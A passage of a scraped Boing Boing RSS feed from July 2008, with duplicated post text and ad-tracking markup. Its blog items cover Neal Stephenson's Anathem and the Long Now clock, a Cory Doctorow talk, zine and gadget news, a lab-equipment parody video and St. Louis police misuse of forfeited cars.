alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F22%2Fbbtv-tcho-chocolate.htmlhttp://www.boingboing.net/2008/07/22/bbtv-tcho-chocolate.htmlStephenson's Anathem was inspired by Clock of the Long Nowhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/342411793/stephensons-anathem.htmlBookGadgetsHappy MutantsCory DoctorowTue, 22 Jul 2008 04:33:22 -0500tag:www.boingboing.net,2008://1.48139Anathem was inspired by the amazing Clock of the Long Now, a project to make a clock that runs for 10,000 years. The Long Now foundation is helping to launch the book with a signing in September in San Francisco, and its esteemed board members have been weighing in on the book:
    “‘I suffer from attention surplus disorder,’ jokes a character in Anathem. Attention surplus is exactly what Stephenson teaches his readers, in a book so tightly crafted it rewards instant rereading.” - Stewart Brand

    “It is a great story, set in an alternative reality where people take long-term thinking seriously.” - Danny Hillis

    “Long Now’s 10,000-year clock inspired Neal Stephenson’s new story, Anathem, and now Anathem is inspiring the Long Now. In ten centuries, no one will be sure which came first.” - Kevin Kelly

    Link

    See also:
    Ask Neal Stephenson questions about Anathem
    Spooky, wonderful music CD in Neal Stephenson's new novel
    Long Now clock souvenir
    Unveiling of second Long Now clock in Bay Area: photos

    ]]>    Neal Stephenson's forthcoming novel Anathem was inspired by the amazing Clock of the Long Now, a project to make a clock that runs for 10,000 years. The Long Now foundation is helping to launch the book with a signing in September in San Francisco, and its esteemed board members have been weighing in on the book: “‘I suffer from attention surplus disorder,’ jokes a character in Anathem. Attention surplus is exactly what Stephenson teaches his readers, in a book so tightly crafted it rewards instant rereading.” - Stewart Brand “It is a great story, set in an alternative reality where people take long-term thinking seriously.” - Danny Hillis “Long Now’s 10,000-year clock inspired Neal Stephenson’s new story, Anathem, and now Anathem is inspiring the Long Now. In ten centuries, no one will be sure which came first.” - Kevin Kelly Link See also: Ask Neal Stephenson questions about Anathem Spooky, wonderful music CD in Neal Stephenson's new novel Long Now clock souvenir Unveiling of second Long Now clock in Bay Area: photos...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=4fefdb3c3e6b1b736a4511f6dd67a258" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=4fefdb3c3e6b1b736a4511f6dd67a258" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F22%2Fstephensons-anathem.htmlhttp://www.boingboing.net/2008/07/22/stephensons-anathem.html    25 spots open for Cory's talk tonight in Cambridge http://feeds.feedburner.com/~r/boingboing/iBag/~3/342411799/25-spots-open-for-co.htmlHappy MutantsCory DoctorowTue, 22 Jul 2008 04:33:46 -0500tag:www.boingboing.net,2008://1.48138 We made a bet, some decades ago, that the information economy would be based on buying and selling (and hence restricting copying of) information. We were totally, 100 percent wrong, and now the world’s in turmoil because of it. What does a copy-native economy look like? How do everyone from barbers to musicians become richer, more fulfilled and more civilly engaged in a real information society. And what do we do about the fact that a couple of dinosauric entertainment companies are determined to screw it up?

    Cory Doctorow is a blogger, science fiction writer and journalist. He is an editor of Boing Boing, the 11th best blog in the world (according to Time Magazine). He was the 2006-2007 Canadian Fulbright Chair in Public Diplomacy at the USC Center on Public Diplomacy. He founded the software company Opencola which was later sold to the Open Text Corporation. He also writes regularly for The Guardian.

    Cory will be speaking for one hour at 5:30pm on July 22nd 2008. UPDATE: Cory will now be speaking at Robinson College, Grange Road, Cambridge CB3 9AN. Link

    ]]>    As I mentioned earlier, I'm giving a free talk tonight in Cambridge, UK. The seating is limited and filled up weeks ago, but the organisers now tell me that they've had 25 last-minute dropouts -- if you wanted to go but couldn't get a reservation, here's your chance! Follow the link below to reserve a ticket. We made a bet, some decades ago, that the information economy would be based on buying and selling (and hence restricting copying of) information. We were totally, 100 percent wrong, and now the world’s in turmoil because of it. What does a copy-native economy look like? How do everyone from barbers to musicians become richer, more fulfilled and more civilly engaged in a real information society. And what do we do about the fact that a couple of dinosauric entertainment companies are determined to screw it up? Cory Doctorow is a blogger, science fiction writer and journalist. He is an editor of Boing Boing, the 11th best blog in the world (according to Time Magazine). He was the 2006-2007 Canadian Fulbright Chair in Public Diplomacy at the USC Center on Public Diplomacy. He founded the software company Opencola which was later sold to the Open Text Corporation. He also writes regularly for The Guardian. Cory will be speaking for one hour at 5:30pm on July 22nd 2008. UPDATE: Cory will now be speaking at Robinson College, Grange Road, Cambridge CB3 9AN. Link...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=2ed89249eaf5ca2976c2e86a852464bd" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=2ed89249eaf5ca2976c2e86a852464bd" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F22%2F25-spots-open-for-co.htmlhttp://www.boingboing.net/2008/07/22/25-spots-open-for-co.html    Photos from SF Zine Fairhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/342287186/photos-from-sf-zine.htmlHappy MutantsPhotomakerCory DoctorowTue, 22 Jul 2008 01:09:26 -0500tag:www.boingboing.net,2008://1.48135
    The two-day conference featured a wide variety of DIY arts and crafts, zines, comics and a gypsy-like atmosphere. Attending noobs were also treated to hands-on workshops, from bookbinding to illustration and Q & A sessions with accomplished self-publishers.

    For zinesters, zines are like the blogs of the print world. They're an essential part of offline geek and underground culture and their DIY aesthetic has influenced an entire generation of designers and writers. Link

    ]]>    Wired's got a nice gallery of photos taken at the San Francisco Zine Festival: The two-day conference featured a wide variety of DIY arts and crafts, zines, comics and a gypsy-like atmosphere. Attending noobs were also treated to hands-on workshops, from bookbinding to illustration and Q & A sessions with accomplished self-publishers. For zinesters, zines are like the blogs of the print world. They're an essential part of offline geek and underground culture and their DIY aesthetic has influenced an entire generation of designers and writers. Link...<br style="clear: both;"/> <a href="http://www.pheedo.com/feeds/ht.php?t=c&amp;i=83ae6c03912b23f0022519a7c453024a"><img src="http://www.pheedo.com/feeds/ht.php?t=v&amp;i=83ae6c03912b23f0022519a7c453024a" border="0" /></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=83ae6c03912b23f0022519a7c453024a" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fphotos-from-sf-zine.htmlhttp://www.boingboing.net/2008/07/21/photos-from-sf-zine.html    Buy a full-size T. Rex replicahttp://feeds.feedburner.com/~r/boingboing/iBag/~3/342287187/buy-a-fullsize-t-rex.htmlKidsScienceCory DoctorowTue, 22 Jul 2008 01:06:49 -0500tag:www.boingboing.net,2008://1.48134
    Each STAN T. rex skeleton is constructed according to your creative needs, allowing you to fashion a more dynamic exhibit. Whether you want your skeleton walking, stalking, attacking, running, jumping or looking your visitors right in the eye, we welcome your input, so long as the pose requested is natural and anatomically possible. Constructed modularly with no section more than 6 feet long, this incredible specimen can be assembled by an experienced crew of six in just under an hour! Link (via Geekologie)

    ]]>    A mere $100,000 gets you a STAN museum-grade T-Rex replica, a whopping 40' long and 12' high. They'll pose him for you, too. Each STAN T. rex skeleton is constructed according to your creative needs, allowing you to fashion a more dynamic exhibit. Whether you want your skeleton walking, stalking, attacking, running, jumping or looking your visitors right in the eye, we welcome your input, so long as the pose requested is natural and anatomically possible. Constructed modularly with no section more than 6 feet long, this incredible specimen can be assembled by an experienced crew of six in just under an hour! Link (via Geekologie)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=f8f5f1bf26d775dd89535b613131a3be" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=f8f5f1bf26d775dd89535b613131a3be" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fbuy-a-fullsize-t-rex.htmlhttp://www.boingboing.net/2008/07/21/buy-a-fullsize-t-rex.html    HOWTO install your keys in a Leatherman handlehttp://feeds.feedburner.com/~r/boingboing/iBag/~3/342287189/howto-install-your-k.htmlGadgetsmakerCory DoctorowTue, 22 Jul 2008 01:02:05 -0500tag:www.boingboing.net,2008://1.48133
    Instructables user Pyro222 has a great HOWTO for installing your keys in the handle of an old Leatherman Micra tool. I love this idea -- except the TSA would probably confiscate it, because installing a key in the hands of something that once held a knife confers magical, knife-like properties on the key (obviously). Link (via Make)

    ]]>     Instructables user Pyro222 has a great HOWTO for installing your keys in the handle of an old Leatherman Micra tool. I love this idea -- except the TSA would probably confiscate it, because installing a key in the hands of something that once held a knife confers magical, knife-like properties on the key (obviously). Link (via Make)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=910e82cbce672c895c75b899563b0429" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=910e82cbce672c895c75b899563b0429" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fhowto-install-your-k.htmlhttp://www.boingboing.net/2008/07/21/howto-install-your-k.html    Chinese Tian-Ling worker shoes remade as fashion plimsollshttp://feeds.feedburner.com/~r/boingboing/iBag/~3/342263656/chinese-tianling-wor.htmlHappy MutantsCory DoctorowTue, 22 Jul 2008 00:59:14 -0500tag:www.boingboing.net,2008://1.48132
    Ospop has taken the classic Chinese Tian-Lang worker-sneaker, a handsome, highly evolved little plimsoll, and reworked it, adding insoles, designer colors, eyelets, improved laces -- and sweat-free labor practices -- to produce a high-fashion export version. I bought a pair last week in dark green and I've been wearing them around, and I've found them surprisingly comfy and exceptionally handsome. The tennies arrive wrapped in paper designed by noted calligrapher Zhao Zhi Gang. The company is also running an educational charity for development in the area around its factory. Link

    ]]>     Ospop has taken the classic Chinese Tian-Lang worker-sneaker, a handsome, highly evolved little plimsoll, and reworked it, adding insoles, designer colors, eyelets, improved laces -- and sweat-free labor practices -- to produce a high-fashion export version. I bought a pair last week in dark green and I've been wearing them around, and I've found them surprisingly comfy and exceptionally handsome. The tennies arrive wrapped in paper designed by noted calligrapher Zhao Zhi Gang. The company is also running an educational charity for development in the area around its factory. Link...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=48cd90392d2c7d092f6b937b055b6a52" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=48cd90392d2c7d092f6b937b055b6a52" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fchinese-tianling-wor.htmlhttp://www.boingboing.net/2008/07/21/chinese-tianling-wor.html    Learn to build a network-attached storage out of old PCs tonight in LAhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/342263657/learn-to-build-a-net.htmlGadgetsCory DoctorowTue, 22 Jul 2008 00:49:19 -0500tag:www.boingboing.net,2008://1.48131 Since we are asking you to bring your own equipment to work with, the class will be structured into two parts:

    First, a lecture covering the high level topics involved in setting up NAS at home and online. We’ll discuss the structure of the Internet, routers, IP addresses, DNS, dynamic DNS, and how you can configure many different kinds of computer systems to run the necessary services for access. There are some limitations however, and we’ll discuss those too.

    Second, we’ll break into groups to work with the equipment you’ve brought. We’ll be setting up everything we’ve just discussed on the machine network and making a plan for what you’d need to do at home to get it working. Link (Thanks, Michele!)

    ]]>    Los Angeles's Machine Project continues with its series of seminars tonight with "Unix for N00bz: How To Access Your Data From Anywhere" -- a class on turning old PCs and hard-drives into network-attached storage devices that serve your files from anywhere. Since we are asking you to bring your own equipment to work with, the class will be structured into two parts: First, a lecture covering the high level topics involved in setting up NAS at home and online. We’ll discuss the structure of the Internet, routers, IP addresses, DNS, dynamic DNS, and how you can configure many different kinds of computer systems to run the necessary services for access. There are some limitations however, and we’ll discuss those too. Second, we’ll break into groups to work with the equipment you’ve brought. We’ll be setting up everything we’ve just discussed on the machine network and making a plan for what you’d need to do at home to get it working. Link (Thanks, Michele!)...<br style="clear: both;"/> <a href="http://www.pheedo.com/feeds/ht.php?t=c&amp;i=fa94c1853204a10a18828de016c2f919"><img src="http://www.pheedo.com/feeds/ht.php?t=v&amp;i=fa94c1853204a10a18828de016c2f919" border="0" /></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=fa94c1853204a10a18828de016c2f919" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Flearn-to-build-a-net.htmlhttp://www.boingboing.net/2008/07/21/learn-to-build-a-net.html    Video uses boy band to sell lab equipmenthttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341995010/video-uses-boy-band.htmlVideoMark FrauenfelderMon, 21 Jul 2008 18:26:00 -0500tag:www.boingboing.net,2008://1.48130

    Constantine says: How do you market a machine that automates using a pipette (an instrument used to transport a measured volume of liquid)? Romance, of course. Eppendorf is pushing its new epMotion machine with a video of a boy-band group of lab types singing a boy-band type of love song about how you deserve to have your pipetting done by a machine.

    Pipetting all those well-plates, baby, sends your thumbs into overdrive
    And spending long nights in the lab makes it hard for your love to thrive

    What you need is automation, girl, something easy as 1 2 3
    So put down that pipette, honey, I got something that will set you free And it’s called epMotion (whisper: ‘cause you deserve something really great)
    Girl you need epMotion (whisper: yeah girl it’s time to automate)
    It’s got to be epMotion (whisper: no more pipetting late at night)
    Only for you epMotion (whisper: girl this time we got it right)

    DNA
    RNA
    Proteins
    Cell Cultures
    Less reagents
    Faster workflow
    Saves you money
    Well, well, well

    And it’s called epMotion (whisper: ‘cause you deserve something really great)
    Girl you need epMotion (whisper: yeah girl it’s time to automate)
    It’s got to be epMotion (whisper: no more pipetting late at night)
    Only for you epMotion (whisper: girl this time we got it right)

    epMotion music video

    ]]>     Constantine says: How do you market a machine that automates using a pipette (an instrument used to transport a measured volume of liquid)? Romance, of course. Eppendorf is pushing its new epMotion machine with a video of a boy-band group of lab types singing a boy-band type of love song about how you deserve to have your pipetting done by a machine. Pipetting all those well-plates, baby, sends your thumbs into overdrive And spending long nights in the lab makes it hard for your love to thrive What you need is automation, girl, something easy as 1 2 3 So put down that pipette, honey, I got something that will set you free And it’s called epMotion (whisper: ‘cause you deserve something really great) Girl you need epMotion (whisper: yeah girl it’s time to automate) It’s got to be epMotion (whisper: no more pipetting late at night) Only for you epMotion (whisper: girl this time we got it right) DNA RNA Proteins Cell Cultures Less reagents Faster workflow Saves you money Well, well, well And it’s called epMotion (whisper: ‘cause you deserve something really great) Girl you need epMotion (whisper: yeah girl it’s time to automate) It’s got to be epMotion (whisper: no more pipetting late at night) Only for you epMotion (whisper: girl this time we got it right) epMotion music video...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=f03b27eb0ea48beb1889e7bc605623ca" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=f03b27eb0ea48beb1889e7bc605623ca" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fvideo-uses-boy-band.htmlhttp://www.boingboing.net/2008/07/21/video-uses-boy-band.html    Britain on alert for deadly new knife with exploding tip that freezes victims' organshttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341985775/britain-on-alert-for.htmlMark FrauenfelderMon, 21 Jul 2008 18:08:29 -0500tag:www.boingboing.net,2008://1.48129

    200807211558.jpg

    (UPDATE: Originally posted on BB Gadgets)

    Police in London are on the lookout for £200 frozen-gas knives designed to kill bears and sharks, according to the never-inflammatory Daily Mail.

    The manufacturer describes [the Wasp Knife] as perfect for downed pilots, soldiers and security guards and boasts that it will "drop many of the world's largest land predators".

    It can snap-freeze all tissue and organs in the area surrounding the blast.

    A source close to West Midlands Police said: "The Met is obviously concerned about this and that is why they have circulated the information.

    "This knife will almost certainly kill and the Met must have intelligence that they are in circulation.

    "I think it is only a matter of time before one of these is used because the internet makes it much easier to find and buy weapons like this."

    Wasp injection knife (Daily Mail, Thanks James Olson!)

    ]]>     (UPDATE: Originally posted on BB Gadgets) Police in London are on the lookout for £200 frozen-gas knives designed to kill bears and sharks, according to the never-inflammatory Daily Mail. The manufacturer describes [the Wasp Knife] as perfect for downed pilots, soldiers and security guards and boasts that it will "drop many of the world's largest land predators". It can snap-freeze all tissue and organs in the area surrounding the blast. A source close to West Midlands Police said: "The Met is obviously concerned about this and that is why they have circulated the information. "This knife will almost certainly kill and the Met must have intelligence that they are in circulation. "I think it is only a matter of time before one of these is used because the internet makes it much easier to find and buy weapons like this." Wasp injection knife (Daily Mail, Thanks James Olson!)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=30b975705425f529c741d794cc3c47d7" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=30b975705425f529c741d794cc3c47d7" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fbritain-on-alert-for.htmlhttp://www.boingboing.net/2008/07/21/britain-on-alert-for.html    Crowd-source haircut videohttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341985776/crowdsource-haircut.htmlVideoMark FrauenfelderMon, 21 Jul 2008 18:01:20 -0500tag:www.boingboing.net,2008://1.48128

    Bilal Ghalib says: "This is how I got San Francisco to cut my hair. Crowd-sourced grooming in action." Link


    ]]>     Bilal Ghalib says: "This is how I got San Francisco to cut my hair. Crowd-sourced grooming in action." Link...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=fdd80d6dd0861e577c92146aee26c11a" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=fdd80d6dd0861e577c92146aee26c11a" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fcrowdsource-haircut.htmlhttp://www.boingboing.net/2008/07/21/crowdsource-haircut.html    Dementia 13 (Coppola's first mainstream movie) on Archive.orghttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341950860/dementia-13-coppolas.htmlVideoMark FrauenfelderMon, 21 Jul 2008 16:54:40 -0500tag:www.boingboing.net,2008://1.48127Dementia 13 a 1963 Francis Ford Coppola/Roger Corman slasher film, is available for download from Archive.org. From Wikipedia:
    200807211446.jpgDementia 13 is a 1963 horror thriller released by American International Pictures, starring William Campbell, Patrick Magee, and Luana Anders. The film was written and directed by Francis Ford Coppola and produced by Roger Corman. Although Coppola had been involved in at least two nudie films previously, Dementia 13 served as his first mainstream, "legitimate" directorial effort. The plot follows a scheming young woman who, after having inadvertently caused the heart attack death of her husband, attempts to have herself written into her rich mother-in-law's will. She pays a surprise visit to her late husband's family castle in Ireland, but her plans become permanently interrupted by an axe-wielding lunatic who begins to stalk and murderously hack away at members of the family.
    Dementia 13

    ]]>    Dementia 13 a 1963 Francis Ford Coppola/Roger Corman slasher film, is available for download from Archive.org. From Wikipedia: Dementia 13 is a 1963 horror thriller released by American International Pictures, starring William Campbell, Patrick Magee, and Luana Anders. The film was written and directed by Francis Ford Coppola and produced by Roger Corman. Although Coppola had been involved in at least two nudie films previously, Dementia 13 served as his first mainstream, "legitimate" directorial effort. The plot follows a scheming young woman who, after having inadvertently caused the heart attack death of her husband, attempts to have herself written into her rich mother-in-law's will. She pays a surprise visit to her late husband's family castle in Ireland, but her plans become permanently interrupted by an axe-wielding lunatic who begins to stalk and murderously hack away at members of the family. Dementia 13...<br style="clear: both;"/> <a href="http://www.pheedo.com/feeds/ht.php?t=c&amp;i=6937a3c08a29191d8f39312bbbcf65f4"><img src="http://www.pheedo.com/feeds/ht.php?t=v&amp;i=6937a3c08a29191d8f39312bbbcf65f4" border="0" /></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=6937a3c08a29191d8f39312bbbcf65f4" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fdementia-13-coppolas.htmlhttp://www.boingboing.net/2008/07/21/dementia-13-coppolas.html    NatGeo illustrator uses friend to pose as Neanderthalhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341923731/natgeo-illustrator-u.htmlArtboingMark FrauenfelderMon, 21 Jul 2008 16:42:47 -0500tag:www.boingboing.net,2008://1.48126

    Fun story from Dinotopia illustrator James Gurney:

    When National Geographic asked me to paint a small illustration of a Neanderthal father telling a story to his son, the art director emphasized that he should look recognizable, “like a guy who stepped off the subway.” Only the heavy brow ridge should give him away.

    Where to find a model? I racked my brain for who would fit the part. One guy I knew named Jim would be ideal. But how should I ask him to pose? “Hey, Jim, would you mind posing for a Neanderthal picture I’m doing?” I was afraid he might be insulted.

    I managed to ask him, and he cooperated. Later I asked him if he minded being a cave man. “Not at all,” he replied with a smile. “My girlfriend says it gives me more sex appeal.”

    A terrific illustration, too! Link

    ]]>     Fun story from Dinotopia illustrator James Gurney: When National Geographic asked me to paint a small illustration of a Neanderthal father telling a story to his son, the art director emphasized that he should look recognizable, “like a guy who stepped off the subway.” Only the heavy brow ridge should give him away. Where to find a model? I racked my brain for who would fit the part. One guy I knew named Jim would be ideal. But how should I ask him to pose? “Hey, Jim, would you mind posing for a Neanderthal picture I’m doing?” I was afraid he might be insulted. I managed to ask him, and he cooperated. Later I asked him if he minded being a cave man. “Not at all,” he replied with a smile. “My girlfriend says it gives me more sex appeal.” A terrific illustration, too! Link...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=fc439d88435b9149e8beeb59a799b4f3" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=fc439d88435b9149e8beeb59a799b4f3" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fnatgeo-illustrator-u.htmlhttp://www.boingboing.net/2008/07/21/natgeo-illustrator-u.html    Today on Boing Boing Gadgetshttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341845550/today-on-boing-boing-50.htmlJohn BrownleeMon, 21 Jul 2008 15:01:55 -0500tag:www.boingboing.net,2008://1.48124wozchewielee.jpgToday on Boing Boing Gadgets, Beschizza leaped out of bed at the crack of midnight, called to wakefulness by the eerie command of Sir Clive's obelisk-imbued consciousness. That out of the way, Rob chugged down a pre-dawn iPhone beer, then dived right into a fascinating study of ergonomic pipettes.

    Once the day proper had started, Brownlee looked at a Spectrum game recreated with a hamster and a Liliputian Lolita for your virtual molestation. The EFF busted another patent abuser and OS X media centers got sexier. We also figured out the perfect way to prevent house guests from having sex on your couch: buy a fold out sofa bunk bed instead.

    Joel wrote some weird (but awesome) stream-of-conscious story about a hard drive degausser. He learned that Esquire would have an e-paper cover and ejaculated his central nervous system over a range hood, of all things.

    We also looked at a pinwheel computer for the nuclear apocalypse and Apple co-founder, The Woz, and his early pirating of The Empire Strikes Back. Solar panels look like a decent investment and HP sucks at packing.

    And cassette tapes? Hey, what do you know: they're still a multi-million dollar industry.

    Link

    ]]>    Today on Boing Boing Gadgets, Beschizza leaped out of bed at the crack of midnight, called to wakefulness by the eerie command of Sir Clive's obelisk-imbued consciousness. That out of the way, Rob chugged down a pre-dawn iPhone beer, then dived right into a fascinating study of ergonomic pipettes. Once the day proper had started, Brownlee looked at a Spectrum game recreated with a hamster and a Liliputian Lolita for your virtual molestation. The EFF busted another patent abuser and OS X media centers got sexier. We also figured out the perfect way to prevent house guests from having sex on your couch: buy a fold out sofa bunk bed instead. Joel wrote some weird (but awesome) stream-of-conscious story about a hard drive degausser. He learned that Esquire would have an e-paper cover and ejaculated his central nervous system over a range hood, of all things. We also looked at a pinwheel computer for the nuclear apocalypse and Apple co-founder, The Woz, and his early pirating of The Empire Strikes Back. Solar panels look like a decent investment and HP sucks at packing. And cassette tapes? Hey, what do you know: they're still a multi-million dollar industry. Link...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=fee385a72b3f0323dcffdade49ff585a" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=fee385a72b3f0323dcffdade49ff585a" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Ftoday-on-boing-boing-50.htmlhttp://www.boingboing.net/2008/07/21/today-on-boing-boing-50.html    Richie Jackson the psychedelic skateboarderhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341840408/richie-jackson-the-p.htmlDavid PescovitzMon, 21 Jul 2008 14:41:15 -0500tag:www.boingboing.net,2008://1.48123
    Richie Jackson is a skateboarder from Australia who is deep into psychedelic consciousness. Dose Nation features a video of Jackson shredding and the following snippet from an interview with Jackson. He sounds like my kind of guy:
    I believe in psychedelicism. Not just psychedelic music, but everything. A psychedelic experience is characterized as the unveiling of perceptions previously unknown -- the brain unfettered from its usual constraints. To me, it's all there is, and certainly all that's worth doing. I find no worth in that which doesn't surprise. Anomalies, irregularities, deviation from the common rule -- that is all I will ever care for.
    Richie Jackson: Psychedelic Skater (DoseNation)

    ]]>     Richie Jackson is a skateboarder from Australia who is deep into psychedelic consciousness. Dose Nation features a video of Jackson shredding and the following snippet from an interview with Jackson. He sounds like my kind of guy: I believe in psychedelicism. Not just psychedelic music, but everything. A psychedelic experience is characterized as the unveiling of perceptions previously unknown -- the brain unfettered from its usual constraints. To me, it's all there is, and certainly all that's worth doing. I find no worth in that which doesn't surprise. Anomalies, irregularities, deviation from the common rule -- that is all I will ever care for. Richie Jackson: Psychedelic Skater (DoseNation)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=a358d26ed310ace6b3442ca7a4110543" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=a358d26ed310ace6b3442ca7a4110543" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Frichie-jackson-the-p.htmlhttp://www.boingboing.net/2008/07/21/richie-jackson-the-p.html    St. Louis cops turn forfeiture policy into free car rental servicehttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341742705/st-louis-cops-turn-f.htmlMark FrauenfelderMon, 21 Jul 2008 12:43:27 -0500tag:www.boingboing.net,2008://1.48121 Seems that the city of St. Louis, like many cities, allows the police to confiscate the cars of people suspected (but not necessarily convicted) of certain crimes. They have a contract with a city towing firm, and said firm was allowing police officers and their families to "rent" confiscated cars free of charge, sometimes for months on end. Officers and their families could also sometimes purchase the confiscated cars at a fraction of the cars' value.

    All of that is pretty outrageous. But it gets better. The St. Louis Post-Dispatch stumbled onto the story after investigating the daughter of the city's police chief. She had been involved in a number of accidents with different cars. On several occasions she had wrecked a car, then simply gone down to the towing service to get a 60-80 percent discount on a new one. After one accident, her blood-alcohol concentration tested at .17. She wasn't arrested or charged. The department says it has "no idea" why she was let go.

    St. Louis Cops Turn Forfeiture Policy Into Free Car Rental Service (Reason Hit & Run)

    ]]>    Cops and their kids get to use confiscated cars in St. Louis for free. Seems that the city of St. Louis, like many cities, allows the police to confiscate the cars of people suspected (but not necessarily convicted) of certain crimes. They have a contract with a city towing firm, and said firm was allowing police officers and their families to "rent" confiscated cars free of charge, sometimes for months on end. Officers and their families could also sometimes purchase the confiscated cars at a fraction of the cars' value. All of that is pretty outrageous. But it gets better. The St. Louis Post-Dispatch stumbled onto the story after investigating the daughter of the city's police chief. She had been involved in a number of accidents with different cars. On several occasions she had wrecked a car, then simply gone down to the towing service to get a 60-80 percent discount on a new one. After one accident, her blood-alcohol concentration tested at .17. She wasn't arrested or charged. The department says it has "no idea" why she was let go. St. Louis Cops Turn Forfeiture Policy Into Free Car Rental Service (Reason Hit &amp; Run)...<br style="clear: both;"/&gt; <a href="http://www.pheedo.com/click.phdo?s=54e8be57a0f5f0d237fe013343e5199a"&gt;<img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=54e8be57a0f5f0d237fe013343e5199a"/&gt;</a&gt; <img src="http://www.pheedo.com/feeds/tracker.php?i=54e8be57a0f5f0d237fe013343e5199a" style="display: none;" border="0" height="1" width="1" 